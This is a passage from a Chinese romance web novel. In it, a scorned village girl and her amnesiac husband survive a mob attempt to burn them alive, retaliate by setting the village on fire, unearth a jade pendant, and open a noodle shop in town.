刚才挥棍要打她的人已经倒在了地上扭曲地翻滚,手臂上插着一把匕首,丑丫认识,那是阿福随身携带的匕首。 阿福冲入了人群中,混混们手里拿着各式各样的武器朝着他身上打去,但却都不是阿福的对手。 阿福此时就像是战场上的杀神,抬手便能取了人的性命,只一拳或是一脚,对手便失去了反抗能力。 他击退了所有人,穿越了重重阻碍,准确无误地朝着她奔赴! 丑丫只感觉手臂被轻轻地拉扯了一下,紧接着她便靠进了一个坚实、温暖又熟悉的怀抱,怀抱中还有她最喜欢闻的气息。 “娘子” 阿福的声音嘶哑缱绻,蕴含着后怕、心疼以及愤怒。 他手摸上她脸上的血,指尖颤抖,声音愈发的嘶哑,快要发不出声:“疼不疼” 疼,当然疼了,她是有血有肉的人啊! 可是被他抱着,她又觉得不疼了,她仰头看她,眼底带着笑,微微摇头:“不疼。” 阿福蹙眉,只觉得心像是被千万根针来来回回地戳,他收紧臂膀,将她紧紧搂在怀里,下巴抵在她的头顶:“傻,怎么会不疼。” 他那么可爱、那么温柔的娘子,被人欺负得遍体鳞伤,怎么可能不疼! 他自责,自责自己没能陪在她身边,他也后怕,后怕自己再来晚一瞬,他就再也见不到娘子了,他更愤怒,愤怒那些人居然敢如此欺凌他心尖尖上的人,他们都该死! 阿福从地上捡了一根长木棒,是混混们掉落的武器,随后,他单手发力,将丑丫给抱了起来,让她稳稳地坐在自己的左臂上。 “娘子乖,闭上眼休息一会儿,我替你报仇!” 丑丫点头,却没闭眼,她要看着阿福为她报仇,她要看着那些人付出代价! 混混们刚才已经领略过了阿福的厉害,如今见他一脸杀气地朝着他们走来,都吓得腿软,跌跌撞撞、屁滚尿流地转头逃跑。 但阿福怎会这么轻易就让他们逃走,运着轻功,他的速度快得如同一阵残影,手中的木棍如同利剑一般,一棍挥到人身上,打得他们吐血瘫倒。 何勇此时怕得慌不择路,将小弟撇下给他挡灾,惊恐地逃窜。 阿福注意到了他的身影,他是欺负娘子的主谋,他不可能让他什么教训都不受! 他抱着丑丫抬脚追上何勇,可还没等追到他身后,何勇便莫名其妙地晕倒了。 两人上前,才发现何勇此时一脸乌青,嘴唇更是变成了青紫色,嘴里有黑血一口一口的吐出,眼神涣散,全身抽搐着,状若中毒。 丑丫看到何勇的状况,心神猛地一颤,过往的记忆如同潮水一般涌出。 灾星!祸害!妖女! 这些名声就是在七岁时那件事之后传出的。 七岁那年,村里有个男孩打她,她气不过便和他打了起来,那男孩比她大两三岁,她本打不过他的,可莫名的他就在她眼前晕了,症状和何勇此时一模一样! 后来听说那家人给男孩找了很多大夫,还请了道士来叫魂驱邪,男孩才好了起来,但也就是从那时起,她就被人叫做了灾星、妖女。 村民说她是灾星,会克人,她自然是不信的,生死有命,若是她能将人克死的话,为何那些让她恨的牙痒痒的人还活蹦乱跳的活着? 但现在看到这一幕,她疑惑也迷茫,为何会如此? 何勇已经完全失去了反抗能力,只有浑身的抽搐能证明他还活着,而不是一具尸体。 阿福看了一眼他满脸乌青的丑样,抱着丑丫转身回家,不想让他的娘子被吓到。 混混们被收拾了,头破血流的、断胳膊断腿的,一个比一个惨,见阿福和丑丫回家,他们喜极而泣,恨不得跪在地上高呼佛祖保佑。 他们慌慌张张的爬起来往家的方向逃,还将地上已经昏迷不醒的何勇也给拖了回去。 阿福是抱着丑丫回家的,全程没舍得让她的脚落地,丑丫靠在他怀里,感觉到他身上源源不断传出的热度,很安心,但也担心。 她抚上阿福的额头,滚烫一片,她的阿福还在发烧呢! 这一场风寒来的猛,阿福瞧着憔悴了不少,嘴唇干得起皮,脸颊也泛着不正常的红晕。 她难以想象身体虚弱的阿福是如何拖着病殃殃的身体出门寻她,再将那群人给打跑的,他现在该有多难受! “阿福,放我下来吧,我没事儿,可以走的,你身体有没有不舒服?” 阿福脸色很沉,那眉宇间都是寒霜,他低头,看着怀里抱着的姑娘,眉头蹙紧,或是想说什么谴责的话,但半晌后还是没能说出一个字,只有一声叹息。 娘子她到底知不知道她现在的情况有多严重,一脸的血,红肿的脸,都这样了,她居然还惦记着他的身体! 回到小院,阿福将丑丫径直抱进了房中,然后出门端了一盆水进来,湿了帕子,小心翼翼的帮她将脸上的血迹给擦干净。 丑丫的脸上挨了巴掌,现在火辣辣的疼,被不算柔软的帕子擦着,痛感更明显,可她却连眉头都没皱一下,只满眼柔情的盯着阿福看。 脸上的血迹被擦洗干净,两边脸颊上红肿的巴掌印愈发明显了,受力最大的地方已经泛着青紫色。 阿福的眉蹙得更紧了,手依旧拿着帕子,却再也下不了手,他的拳微微颤抖,眼尾也泛起了红意。 第69章 烧死这个妖女 丑丫将他的反应看在眼里,心里又酸又甜,终于,她也是有人心疼的人了。 她握住阿福的手,将脸凑近,在他脸颊上轻轻一啄,一触即离,嘴角带起浅浅笑意,声音也温柔如水:“阿福,我不疼的。” 有你,再疼的伤,也觉得没了疼意。 两人的脸凑得很近,可以感受到彼此的呼吸,阿福盯着娘子的脸,只见她神色微微羞赧,那白皙的小耳朵变得通红一片。 慢慢地,视线凝结在那两瓣红艳的、软软的唇瓣上,现在的他不太懂男女之事,但是看着那两瓣唇,脑海中好像有一道声音在指引他吻上去。 他喉结微动,有些不知道自己现在该干什么,最终,他选择遵循心中那个最原始、最真实的想法,吻上了那两片柔软的唇,辗转、吮吸,再逐渐深入。 被吻住的那一个瞬间,丑丫的脑内一片空白,做不出任何反应,只有那双本就大的眼睛瞪得更加的圆。 口中有阿福的气息,他的手脱离她的手掌,一手轻轻地搂住她的背,另一手柔柔地摸着她的后脑。 片刻,她的脑子开始晕晕乎乎,不知该怎么做的她,只能笨拙地回应着他的热情。 两个人都是新手,动作生涩又笨拙,他笨拙的亲,她笨拙地回应,但却都乐此不疲。 阿福很聪明,学什么都快,就连现在都能无师自通,慢慢熟练,他身躯本就火热,再加上发烧,那温度像是要将丑丫给融化。 丑丫逐渐忘乎所以,全部的精力只感受得到唇上炽热异常、时而温柔、时而激烈的触感,等再次有意识时便是一阵强烈的窒息感。 她觉得,她要溺毙在阿福的柔情里。 好在这时阿福抬头,离开了她的唇,让她又能重新呼吸。 她喘着气,迷离的眼神与阿福热烈又清澈的眼神交织,像是要织出一张网,将他们两人牢牢裹在一起。 阿福也微微喘息,第一次尝试到这种新奇的感觉,他有些兴奋,似是还想再体验一会儿。 但丑丫扭头不敢再看她,亲吻时热烈又虔诚,遵循的是身体的,也是心里最原始的冲动,现在恢复了理智,便只剩下了羞赧。 两人逐渐恢复了冷静,丑丫感觉到怀里鼓鼓囊囊的触感,才想起来给阿福的药还塞在衣裳里。 她从棉袄里掏出几包药,被护得好好的,药包上面还有她的体温。 阿福见她将药掏出来那一瞬,心又像是被狠狠扎了一下,又酸又疼,这个傻姑娘,自己都被打成那样了,却还护着他的药。 他虽然神志还没恢复,但他有心,能感受得到那热烈的感情啊,她的娘子是世上最好、最善良、最温柔的姑娘。 今天是除夕,可阿福和丑丫两个人,一个病了,一个受伤了,丑丫原本想好好做一桌年夜饭,在阿福的连番制止下只能作罢。 第一次有人陪过年,丑丫早早地规划好,她和阿福吃完年夜饭,再一起守岁,但如今,所有的计划都被打乱了。 晚饭是阿福做的,他当然不会做饭,只能勉强将食物给煮熟了,但丑丫却很捧场地都吃光了。 吃完了晚饭,天色已经全黑,只有满天的星光,一病一伤也没了守岁的兴致,今年对于他们来说有太多的不愉快,也不必守着最后几个时辰的时光不放,只待来年。 阿福还是有些发烧,好在上吐下泻的状况好多了,喝了药便懒洋洋地缩在暖乎乎的被窝里,怀里抱着丑丫。 丑丫的脸上抹了药,药膏是碧绿色的,红肿的脸颊涂了满脸,一张脸显得花里胡哨的。 小姑娘也是知道爱美的,不想让自己这么寒碜的样子被阿福看到,便一直背对着他,阿福却千方百计地尝试着将娘子给转过来,和他面对面。 两人在床上笑闹成一团,温馨又和谐,而此时的村内,村民却正在商量着一件恶毒的事。 夜已深,往常静谧的小村早已漆黑一片,但今天过年,村民难得奢侈地多点一会儿油灯。 丑丫和阿福已经逐渐入睡,屋外是漆黑寒冷的夜,但被阿福搂着睡觉,丑丫只觉得暖烘烘的。 今日和人发生了那么大的争执,她早就累了,睡着的她也忘了避着阿福,花里胡哨的小脸对着他,她还是像以往一样,不知不觉间已经缩成一团,依偎在阿福怀里。 但睡着了,意识迷糊了,也开始展露自己的脆弱了。 脸颊被打得红肿,即使抹了药膏,还是火辣辣的疼,睡梦中,她拧眉,似委屈一般嘟囔:“疼” 她声音很小,可是阿福还是听到了,他睁开眼,即使漆黑一片,还是凝视着怀里的人儿,满眼的心疼与柔情。 他微微直起身子,一只手紧紧搂着丑丫,凑近,轻轻吹着她的脸。 他不知道如何才能让娘子舒服一些,若是可以,他甚至希望他能代她受这些伤。 睡梦中的丑丫或许是感受到脸上徐徐吹来的凉意,拧着的眉头舒展,睡得愈发的沉,不再喊疼。 本该是一室温馨静谧,却被院外突然传出的嘈杂的喊叫声和怒骂声打破。 “烧死妖女!烧死这个灾星!” “我可怜的儿啊,都是这个妖女害死了你,娘为你报仇!” 声音很嘈杂,但在寂静的夜里却显得很清晰,阿福和丑丫瞬间清醒,阿福翻身下床套了棉袄,拿上墙上挂着的弓箭便往外面走。 丑丫也完全没了困意,去厨房里抽了一把菜刀,也随着阿福往院门边走。 两人站在院门后,透过门缝看清了外面的场景,全村的人基本都来了,他们有的拿着火把、有的拿着锄头、钉耙当武器。 他们嘴里喊着要烧死妖女,要为村除害,而人群前还有一具躺在担架上用白布覆盖的尸体。 是何勇!他死了! 何勇的娘瘫坐在尸体旁,哭得一把鼻涕一把泪,嚷嚷着要为儿子报仇。 就连疯了的李狗蛋的娘也来了,她疯疯癫癫的哭喊着她的儿子就是被丑丫这个妖女给克死的,连尸体都找不到,一定要将丑丫给烧死! 第70章 有他的地方就是家 何勇死得蹊跷,身上的皮外伤并不致命,但人却如同中了剧毒,找了许多大夫来看,都看不出是中了何种毒,自然也没有救治方法。 还没能熬到新的一年就已经死了。 全村人人心惶惶,他们又想到了几年前和丑丫打架的那个孩子,症状也是这般,只不过中的毒较轻,没有丢了命。 村民多愚昧,他们解释不了这种现象,便只能将其归到妖物、鬼怪身上,丑丫克父、克母、会妖术,不详,是灾星,是妖女! 村民们都知道丑丫家的傻夫厉害,所以这次他们学乖了,不和丑丫对峙,准备直接将他们给烧死。 村长下令全村的壮劳力将丑丫的小院给包围,堵住了所有的逃生处,他们要将小院连同人都烧成灰烬。 小院被团团围住,紧接着,一个个火把便被从院外抛了进来,村里有猎户会射箭,或许箭法远不如阿福,但用来纵火却绰绰有余。 火箭一支接一支落在了屋顶上,茅草做的屋顶,在天干物燥的冬天,瞬间便被引燃! 火把四处飞窜,院里的火点越来越多,裹了松香的火把淋出松油,使火势越燃越烈,前后不过几个眨眼的功夫,小院便已经变成火海。 阿福站在院门处,看着隐映在火光中的房屋,眼角流下两行泪,这是她的家,是父母留给她唯一的东西,也是她和阿福朝夕相处的地方,就这么被烧没了! 她好恨!她好恨! 手中的菜刀被她握得紧紧的,她有些控制不住的自己恨意想要冲出去与他们拼个你死我活,但却被阿福紧紧地抱住。 阿福搂住她,平时憨傻可爱的男人此时却异常冷静,声音低沉又温柔地安慰丑丫:“别怕,你还有我,阿福永远在娘子身边。” 丑丫绷紧的身体瞬间松弛,眼泪也像决堤的洪水不受控制:“阿福,我们的家没了。” 阿福心疼地轻轻擦掉她眼角的泪,格外的郑重:“对阿福来说,有娘子的地方就是家。” 刹那间,丑丫觉得身边冲天的火光以及院外的喊杀喊打声都感受不到了,耳边只有阿福沉甸甸的话。 于他而言,有她的地方就是家,她又何尝不是,只要有他,天下之大,何处不能为家! 她不再流泪,满眼坚定又冷静:“阿福,他们烧了我们的家,那我们也烧了他们的家怎么样?” 阿福勾唇一笑,那张好看的脸在闪烁的火光中颠倒众生,想法与丑丫不谋而合:“都听娘子的!” 大黑马受到惊吓,在马圈里嘶鸣,焦躁不安地走动着,阿福跑到马圈前将大黑马给牵了出来,丑丫也将鸡圈里的鸡都给放了,能不能活都靠它们的命。 阿福安抚好受惊的大黑马,一个飞身便跨上了马背,他俯身,伸出一只手,丑丫将手搭在他的手心里。 他轻轻一拉,丑丫便稳稳当当地坐在了他跟前,被他搂在怀里。 阿福一扯缰绳,大黑马嘶鸣一声,便飞冲着朝院门踏去。 健壮的马蹄踢在了门板上,门板四分五裂,守在院门外的村民一时没注意,被飞出的门板砸中,倒在地上吐血昏迷。 黑马夺门而出,阿福单手拉缰绳,背上背着弓箭,另一手紧紧地搂着丑丫的腰,他身后是冲天的火光,骑着高头大马的他如同从尸山血海里突出重围的将军。 他那双好看的凤眸,只冷冷地扫视门口的村民一眼,他们便觉得像是被豺狼虎豹给盯上。 大黑马横冲直撞,挡住他们去路的人只能逃命般往旁边躲,村长歇斯底里地喊破音,让人堵住他们的去路,但却没人敢冲上前。 他们是想烧死丑丫,但又不是不要命,人怎么能和马比,被马蹄踹上一脚,不死也残。 村民们气得跳脚,即使心中一万个不乐意,也只能看着阿福和丑丫策马而去。 突然间,人群中不知是谁多嘴了一句:“你们说他们不会对我们的家下手吧?” 一句话让人群炸开了锅,村民们哪里还有心思气恼,迈开腿不要命地往家里跑。 这种事情,真的像丑丫和傻子做得出来的! 丑丫和阿福进了村,路上他们顺走了一个火把,站在月光下看着村里密集的房屋,丑丫和阿福的嘴角都扬起一丝笑意。 烧了他们的家,那他们也别想有家了! 阿福取下一支背上背着的竹箭,在火把上裹了松油,点燃,然后拉弓射箭! 村里还有不少的茅草房,箭飞射到茅草房顶上,不一会儿便是一阵火光。 房屋在的密集,一间屋子烧起来了,另一间离被烧也不远了,为了让房子在村民们赶回来之前都能烧起来,阿福的火箭一支接一支地射。 点燃了全村,阿福带着丑丫策马奔腾,他们没去远的地方,而是往村头的山上走,站在山腰,看着山下变成火海的小村落。 隔着很远,还是可以听到村民们的哭嚎声。 丑丫满脸平静,心里没有多少的感觉,她甚至有些怀疑自己是不是太坏了,只有坏人才会这般麻木。 她也在想,她是不是太残忍,太狠了,可是想起他们对待她的过往种种,她的心软不下来。 看了一会儿火光冲天的场景,丑丫便觉得不想看了,她转身,抬头看着身边高大的男人:“阿福,我想我爹娘了。” 阿福牵起她有些冰凉的小手,捂在掌心里捂热,嘴边只有一个低沉的音节:“好。” 离天亮还早,两人走在山林里,不觉得害怕,到了坟地,借着月光看清那两个小土包,丑丫反倒觉得安心了不少。 她盘腿坐在坟前,才十六岁的她却老沉地叹了口气,絮絮叨叨自说自话。 “爹,娘,我们的家被烧没了” “我是不是很没用,连你们留给我唯一的东西都护不好” 她说了很久,语气平安又安静,像是在和长辈聊一件很小的小事,阿福也坐在她身旁,安安静静地陪着,她想说,他便听。 夜里落霜了,很冷,可丑丫却不知道她该去哪里,家烧没了,镇上宵禁,没有客栈会开门。 阿福怕她冷,一直搂着她,让他在自己怀里取暖。 丑丫看向了父母坟间的那个小凹槽,想到了多年前那个小小的她在这儿哭着睡了不知多少个夜晚。 第71章 挖到玉佩 她牵着阿福也躺进了那个凹槽里,当年的凹槽对于她来说很大,她要缩成一团才能取暖,可现在却很狭窄。 阿福躺在了地上,让丑丫躺在他身上。 丑丫累了,身体累,心也累,她趴在阿福的胸膛上,感受着他的呼吸起伏,听着他的心跳,周围寂静无声,她也无声地流泪。 她哪有那么坚强,她也是会难过的,今晚的遭遇,从前的回忆,交织在一起,让她的心酸得会发苦。 从前那个小小的她,只能独自睡在父母坟间的凹槽里,自己哭,自己给自己擦眼泪,自己给自己安慰,可如今有人陪着她了,她却觉得更难过了。 阿福知道娘子在哭,可觉得他此时说什么都是徒劳,不如让她好好发泄,他一言不发,只用手掌一下又一下,轻轻抚着她的背,她的脑袋,给她安慰。 清水村还在一片火光冲天中,而躺在坟间凹槽的两个人却很宁静,他抱着她,她也抱着他,互相取暖,互相依靠。 天色刚明了,林中的鸟儿照常早起婉转啼叫,并不知道山下的清水村已经变成焦黑的废墟。 阿福和丑丫并未睡着,抖落身上的寒霜,两人朝着山下走去,他们要回小院,把能拿的东西拿走,之后便搬到镇上去住。 尽管之前在清水村受尽了村民的欺凌,丑丫却从来没想要离开过,因为这里有父母留给她唯一的房子,也有父母的坟墓,她本来便已孤身一人,不想失去那点唯一的念想。 但是现在不一样了,她有了新的牵挂和寄托,她会和阿福一起离开这个是非之地,他在哪儿,她便在哪儿。 回村的路上空荡荡,没有遇上村民,不过想来也是,他们此时估计正看着被烧焦的房子发愁呢,偶尔还可以听到几声绵长的悲戚的哭喊声。 空气中弥漫着一股焦糊味道,丑丫和阿福伴随着这种味道,回到了他们朝夕相处数月的小院前。 茅草搭的屋子早就没烧没了,只有那新筑的土墙,被火烤得焦黑,显得沧桑斑驳。 来时丑丫已经做好了心理准备,可是当看到眼前的场景时还是忍不住一阵鼻酸,她深吸一口气,从那道还伫立着的小门走了进去。 屋内的东西都已经烧毁了,焦黑破败,那是他们几个月来一点点打拼下来的家当,如今只剩些不成形的废墟。 丑丫牵着阿福往厨房后的个隐秘的角落走,那是她平时藏银子的地方。 她和阿福的家产还算丰厚,村里觊觎他们财产的人不在少数,担心他们出门后会有人来偷东西,所以她一直将银子藏得很严实。 表面与其他地方没什么差别的地面,丑丫动手刨了几下之后便露出了一个用布包裹住的木盒子,沉甸甸的一盒,完全没受到昨晚那场大火的影响。 抱着沉甸甸的财宝箱,丑丫的心情突然就变得松快了,一分钱难倒英雄汉,好在她和阿福还有后盾。 丑丫抱着钱盒子笑,阿福却还蹲在地上刨坑,将她藏银子的坑继续往下挖。 “阿福,你这是干嘛?” 丑丫疑惑,抱着盒子蹲了下来,认真地看着阿福的动作。 阿福没抬头,俊朗的眉毛微微地皱着,神情严肃:“这底下有东西。” 他的话很笃定,丑丫却听得一脸不敢相信,这个坑她都用了好几年了,下面怎么可能会有东西呢。 但还不等她疑惑结束,阿福便发出一声惊呼:“挖到了!” 将坑又挖深一截距离后,果然有东西显露了出来,还是一个盒子,上面包裹着的布已经完全与泥土融合,也变得异常脆弱,轻轻一碰便会裂开,看上去有些年头了。 阿福小心翼翼地将盒子给挖了出来,丑丫现在也顾不得怀里还抱着钱匣子了,将木盒放在地上,伸手接过阿福挖出来的东西。 两人的动作都很小心,将长年累月被埋在地下,木材已经有些腐败的盒子给打开,里面的东西让两个人都愣住了。 居然是块玉佩! 丑丫的呼吸微微一颤,小心的将盒中的玉佩给拿出来,她不懂玉,但是眼前这一块,只看一眼便知道价值不菲。 温润透亮的羊脂玉,雕花精美,玉佩中间还雕有一个小小的字。 丑丫不识字,拿着玉佩有些茫然,阿福也将脑袋凑过来一起看玉佩,轻声念道:“苏。” 苏? 丑丫转头看向阿福,呆愣一瞬后便是惊讶:“阿福,你识字?” 阿福见娘子两眼发光地看着自己,又高兴,又不好意思,憨憨一笑:“不知道啊,看到这个好像就想起来了。” 他也不知道自己识不识字,从前的记忆还是想不起来,神志也还是没恢复正常。 虽是这样的结果,但是丑丫却并不低落,反而很激动,她家阿福又有一项技能了,可真是厉害! 挖出来的匣子里除了一块玉佩便再也没有其他,丑丫也想不透这块玉佩和她有什么关系,还有那个苏代表什么意思,她爹的姓,还是她娘的姓? 又或者这玉佩并不是她爹娘埋的呢,他们也像她一样,在小院里生活了数年,却不知道那个不起眼的角落里还埋着一块玉佩。 她甚至在同一个位置挖了坑,藏了钱,却还是没有发现底下的秘密。 若不是阿福,这块玉大概永远没有重见天日的机会。 想不通这一切,丑丫便也不想了,将玉佩收进了怀里,不管这块玉佩之前是谁的,在她的院子里挖到,那就是她的了。 早成的第一缕阳光即将冲出地平线,阿福将丑丫抱上马,他随后也翻身上马,被冻了一夜,两人都有些没麻木了,适应了寒冷,但阿福还是怕丑丫被冻到。 他的棉袄很宽大,丑丫长得又瘦小,可以藏进他的棉袄里,被裹得严严实实。 丑丫感动得心里酸酸的,但是她也想温暖阿福啊,她刚干脆转了一个身,面对面和阿福坐着,钻进他的棉服里,紧紧搂住他的腰,用她的体温来给阿福取暖。 这样的骑马姿势很奇怪,也有些羞耻,但是两人却乐此不疲,大黑马驰骋于寒风中,两人地方心却都是暖的。 第72章 搬到镇上去 都道走马观花,在马背上的确可以更好地欣赏景色,即将出村,一阵嘈杂的吵闹声将阿福和丑丫的注意力都吸引了过去。 丑丫躲在棉服里,看不清外面的情况,好一番折腾,才从阿福怀里探出了脑袋。 不远处,几个人打起来了,分别是何勇爹娘,以及吴芳草一家三口。 何勇爹娘将何勇的死归结到了吴芳草头上,若不是她撺掇他们儿子去找丑丫麻烦,那他们的儿子也不会被丑丫给克死! 他们家就那么一根独苗啊!现在他们儿子死了,吴芳草那小骚蹄子也别想好过,要给他们家儿子配冥婚,用一辈子来赔偿他们家! 何勇父母都是打架厉害的,吴芳草一家三口根本招架不住,吴芳草被打得一脸的巴掌印,头发也撕扯得不像样子。 丑丫和阿福的马并未放慢速度,从他们跟前一闪而过,丑丫看热闹时,视线与吴芳草对上,吴芳草看着被男人如珠如宝护着的丑丫,心里涌起绝望、愤恨、不甘! 但不等她发泄,头发便又一把被何勇娘抓住,开始了新一轮的打斗。 只看了几眼,丑丫便觉得没意思了,又将脑袋钻回了阿福的棉袄里,恶人自有恶人磨,吴芳草会有这个下场,全是她自己作妖的。 两人到了镇上时还早,街上没什么人,丑丫先带着阿福找了个客栈住下,洗了热水澡,买了新衣服换上,还给阿福熬了药,等休息好再去牙行找牙人买宅子。 在客栈里住了两天,和牙人看了不少的房子,丑丫才找到了满意的小院。 院子不大,但她和阿福两个人住绰绰有余,她也不喜欢太大的宅子,觉得空荡荡的没有家的感觉。 小院一间坐北朝南的正房,东西两侧是厢房,还有一个不大不小的厨房,最让丑丫满意的地方是它的前院是一间街上的铺面,从店里穿过后堂,便可以到达小院。 他们小面摊的生意一直很好,她早就想在镇上开一家小面馆,这座宅子正和她意,白天在店里卖面,穿过后堂便回了家。 但唯一的缺点就是价格有些贵,一座小院要三百两,沉甸甸的钱匣子一下子就轻了一大截,丑丫心疼得都要揪起来了。 花出去三百两白银,收获了一座小院,阿福和丑丫都有一股满满的归属感,花了十多天的时间在装点他们的小院,让空荡荡的小院又一点点有了家的感觉。 前院的小面馆也在装修了,丑丫还找木匠帮忙做了一块招牌,福记面馆,有阿福的面馆,财源滚滚,福气满满。 正月十五元宵节,福记面馆装修完成,从除夕夜的惊心动魄到如今,丑丫和阿福都没好好休息过,如今终于可以好好享受一下新年的余韵。 镇上要比村里热闹了不少,有钱的地主老爷家会请人来打铁花,火树银花、绚烂一片,将夜空都给照亮了,丑丫也带着阿福出门去看热闹。 街上的小贩挂满了各式各样的灯笼,人群围在小摊前猜灯谜,丑丫看着周围热闹的场景,欣喜的同时还有淡淡的惆怅。 她要是也能识字该多好啊,这样的话她就能像那些人一样看懂灯谜哈哈大笑,也可以给阿福赢两个灯笼。 阿福手里拿着一个丑丫给他买的糖人,笑得傻乎乎的,一看就让人知道他很开心,虽然看着没心没肺,但心思很细腻,只两眼,他便知道娘子对猜灯谜感兴趣。 他没有那么多的顾虑,也不管自己到底会不会猜灯谜,只知道,娘子喜欢,那他便带她去看。 冲进猜灯谜的小摊前,正讲着灯谜,摊前的客人们或抓耳挠腮、或蹙眉深思。 “弯弯曲曲一座楼,姑娘梳着盘龙头,踱着慢步出门来,还把团扇半遮住头,猜一动物!” 老板说得满面红光,显然是对自己的灯谜很自信,客人们也都面露难色,半晌都没人答出来,见状,老板愈发的得意。 阿福也跟着认真思考,他想给娘子赢灯笼,让娘子开心,脑内灵光一闪,一种以往到河边挑水时经常能看见的东西在他的脑海里成了形。 他将手举得高高的,大喊出声:“田螺!是田螺!” 顿时老板面色一沉,满脸肉疼的神色,而周围的客人则是恍然大悟。 老板虽然肉疼,但还想继续做生意,可不能坏了名声,堆起满脸的笑容,笑得比哭难看:“这位公子答对了,您可以在这些灯笼中任选一个!” “耶!娘子,我猜对了!” 阿福的脸上绽放大大的笑容,回眸看向丑丫,丑丫也激动得不行,都跳了起来。 “阿福,你太厉害了!” 俊美贵气的男人脸上挂着与那张脸完全不符的傻气,看得周围的人一愣一愣的,有客人之前到过他们的小面摊上吃面,认出了两人。 “这不是那个面摊老板娘和她家傻子男人吗?” 周围人听到这个好看的男人居然是个傻子时都露出唏嘘的表情,可惜了这么一副好皮囊! 但脑子转个弯后,他们的脸色又变得十分精彩,他们这么多人猜灯谜还没猜过一个傻子,这到底谁是傻子? 阿福才不管周围人的议论,他将丑丫拉到自己跟前,用自己的身体护着她,当心她被人给挤到了。 “娘子,你喜欢哪个灯笼?” 挂满灯笼的摊位在丑丫面前显得有·点高,她仰着头,脸上的胎记也不能掩饰她眼底的笑意和亮光。 视线在那些五花八门的灯笼上扫过,最终停留在一个鱼灯上,握着鱼灯的手柄,鱼还能在空气中摆动。 “要这个!” 她指着鱼灯,老板愈发肉疼得笑出了痛苦面具,阿福见他太磨蹭,直接上手将鱼灯给拿了下来,递到娘子的手里。 老板又开始出灯谜了,阿福在猜灯谜这一块上很聪明,连猜中三个,又拿走了老板三个灯笼,最后两人就被老板给轰走了。 阿福也给自己挑了一个鱼灯,和娘子的是一样的,剩下两个是两个兔子灯。 被老板撵,阿福拉住丑丫的手就往人群外冲,两人笑得开怀,既是笑老板气得跳脚的样子,也是因为真的开心而笑。 第73章 娘子给阿福生一个小娃娃 元宵节一过,找了算命先生选了一个适合开店的日子,属于丑丫和阿福的福记面馆开张了。 开张前一天,丑丫带着阿福去了一趟他们之前摆摊的街道,在那里摆摊的时候,周围的摊主都很照顾他们,应该去道个别。 那一段街道上还是那几个小摊,他们摆摊的位置至今都没人来,隔着老远,卖鞋的大娘就对着他们打招呼。 “你们小两口可算来了,这几天都来了好几个要在这里摆摊的人了,都被老婆子我给赶走了!” 大娘的大嗓门还是一如既往的亮堂,笑呵呵的,是个开心爱笑的老太太,丑丫听着她说话,心头升起一阵暖意。 她笑着走上前,亲昵地挽住大娘的胳膊:“多谢大娘了,这段时间家里出了点事儿,我和阿福干脆搬到镇上来住了,在西街开了家面馆,明天就开业了,您到时候可要来捧场。” 大娘应了好几声,又夸了好几句他们小两口厉害,年纪轻轻就能在镇上开店了,周围的摊主听到,都笑着恭喜,等丑丫和阿福走的时候,都送了他们不少的东西。 大娘给丑丫和阿福送了一双小虎头鞋,虎头虎脑的很可爱的,她家过年添丁了,给小孙子做虎头鞋的时候顺便做了几双出来卖。 送完了虎头鞋,大娘还语重心长地拉着丑丫的手说了好久,大意便是小两口年纪也差不多了,是时候生个孩子了。 丑丫被说得面红耳赤,低头听着大娘传授她那些怀娃娃、养娃娃都知识,时不时用余光去看身旁的阿福。 要生一个孩子吗?她和阿福的孩子。 只要想到有一个孩子,身上流着她和阿福的血,她就觉得心暖暖的,但也羞涩的不敢看阿福,傻乎乎的阿福,哪里会生孩子,还是要她主动? 阿福听了大娘的话也蹙眉深思,不知道在想些什么,离开时,小两口心思各异,都藏了心事。 夜晚,丑丫洗漱好,爬上床,就见已经躺在床上的阿福手里拿着那双小巧可爱的虎头鞋。 他的手太大,虎头鞋在他手里像两个精致的小玩具一般,难以想象,今后这双手握着一双像虎头鞋一般大的小脚丫的画面。 她觉得这场面有些好笑,笑着问:“阿福,你拿着小虎头鞋干嘛?” 谁知平时很粘她的阿福居然转了个身,撅着嘴,将自己给缩进被子里,显然是生气了。 丑丫一头雾水,伸手轻轻推了闹别扭的男人一下,耐着性子询问:“阿福,怎么生我气了?我做错什么了吗?” 阿福还是不理,躲在被子中发出一声轻轻的“哼”,果然是闹脾气了。 丑丫无奈笑了笑,宠着他的小脾气,掀开被窝钻进去,像一条虫子一样慢慢地拱,最后拱进了阿福怀里。 “让我看看,我家阿福怎么生气了呢,是谁惹阿福不开心了呀?我去打她好不好?” 阿福的那点小脾气怎么还闹得下去,声音闷闷的:“不好。” 他才舍不得娘子自己打自己呢! 丑丫躺在他怀里,伸手搂住他的脖子,阿福虽然还是一副不开心的样子,但还是伸手搂住她的腰,只不过手里的那双小虎头鞋一直没放开。 小姑娘深深地吸一口阿福身上独有的香味,满意地展颜一笑,然后摸摸阿福的脑袋,声音温柔如水:“阿福乖,告诉我为什么生气好不好?” 阿福的气在娘子的温柔攻势下溃不成军,但取而代之的是浓浓的委屈。 “娘子,你为什么不给阿福生娃娃,阿福想要一个像娘子一样的小娃娃,你是不是不喜欢阿福才不给阿福生的!” 气鼓鼓地细数娘子的罪行,说完还委屈地抱了抱娘子,丑丫最开始听得一脸震惊,可等阿福说完后,就只能在床上笑得捂着肚子缩成一团。 阿福更委屈了,娘子居然笑话他! 他想转过身去不理娘子,可终究还是舍不得抽开那只搂着娘子后腰的手,只能自己一个人生闷气。 丑丫止住笑意,再看看阿福那气得鼓起来的脸,虽然觉得自己很不厚道,但嘴角那笑意的余韵却还是挥之不去。 阿福这个傻憨憨,真是太可爱了! 她将脑袋靠在阿福的胸膛上,给男人顺着气,略有些羞赧地问道:“阿福,你知道怎么生娃娃吗?” 阿福一脸自豪,认真地回答:“当然知道,男人和女人睡一个被窝,女人就会给男人生小娃娃!” “娘子坏,阿福没有小娃娃,娘子还笑话阿福!” 听着阿福傻乎乎地控诉,丑丫差点又憋不住笑意,但怕真的将阿福给惹恼了,还是强行忍住,组织了好一会儿的措辞,斟酌开口。 “阿福,男人和女人单纯睡一个被窝是不会生娃娃的,还要做一些事,之后小娃娃才能跑进女人的肚子里,等十个月后,再从肚子里生出来。” 阿福听得很认真,听完还不忘发表自己的疑问:“那阿福要怎么做?要和娘子做吗?我们现在就做,阿福想要一个小娃娃!” 丑丫被阿福这一连串的话羞得涨红了脸,虽然知道这个大傻子干净如白纸,那些话也没有特殊的意思,但别人听起来挺容易误会的。 她不知道该如何回答,一张小脸烫乎乎的,半晌后才扯了个谎:“我也不知道。” 就算她知道,就算她也想要一个和阿福的孩子,但让她主动去做那些羞人的事,她实在没有勇气。 